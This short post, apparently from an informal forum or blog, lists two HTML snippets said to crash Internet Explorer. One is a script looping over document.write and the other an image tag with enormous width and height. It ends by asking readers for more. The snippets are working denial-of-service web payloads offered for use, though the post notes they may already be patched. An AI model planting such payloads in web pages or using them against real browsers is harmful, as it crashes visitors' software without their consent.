There are a lot of way to crash Internet Explorer and produce famous windows IE pop up. The list of result below might be solved or already patch in some version of IE
1. From Modern Life
<script>for (x in document.write) { document.write(x);}</script>
2. From Popular Technology
<html>
<body>
<img src="./imagecrash.jpg" width ="9999999" height="9999999">
</body>
</html>
3. Any one know if there is more?